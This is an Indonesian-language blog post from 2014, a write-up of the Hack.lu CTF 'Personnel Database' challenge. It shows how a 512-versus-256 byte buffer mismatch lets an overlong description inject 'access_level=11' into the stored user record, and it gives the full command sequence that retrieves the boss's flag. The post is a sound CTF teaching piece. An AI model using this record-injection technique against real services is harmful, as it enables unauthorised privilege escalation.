Thursday, October 23, 2014

HACK.LU CTF 2014: Personnel Database

Kita diberikan source code ke sebuah service. Ketika register kita mendapatkan level terendah, dan kita hanya bisa membaca info milik boss jika memiliki level tertinggi.

Kelemahan service ini adalah: buffer yang digunakan untuk menulis besarnya tidak sama dengan membaca. Ketika mendapatkan input dari user:

char line[512]; /* last incoming command */
while (printf("> "), fgets(line, sizeof(line), stdin)) {
rtrim(line);

Dan ketika membaca dari file:


char line[256];
while (fgets(line, sizeof(line), f)) {

512 vs 256. Karena fgets dipakai, maka satu “baris” menjadi max 256 line. Jika kita memberikan deskripsi lebih dari 256 karakter, maka sisanya akan dianggap baris berikutnya.


Perintah ini cukup untuk mendapatkan flagnya:


 


register yohanes:yohanes1
set_description ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ123456789access_level=11
logout
user yohanes
pass yohanes1
whois boss
personnel

No comments:

Post a Comment